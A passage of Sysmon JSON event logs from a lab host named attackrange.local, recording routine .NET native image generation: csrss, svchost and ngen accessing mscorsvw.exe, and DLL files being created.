12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010083F0D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010083F0D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:03.354\r\nProcessGuid: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nProcessId: 4108\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\100c-0\\PresentationFramework.AeroLite.dll\r\nCreationUtcTime: 2020-08-07 12:02:03.354","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:03.354","ProcessGuid":"{90617006-42BB-5F2D-0000-0010083F0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\100c-0\\PresentationFramework.AeroLite.dll","CreationUtcTime":"2020-08-07 12:02:03.354","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010D3980C00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010D3980C00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010D3980C00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010D3980C00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010D3980C00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010D3980C00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.463\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.463","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:03.682\r\nProcessGuid: {90617006-42BB-5F2D-0000-001081470D00}\r\nProcessId: 4788\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: 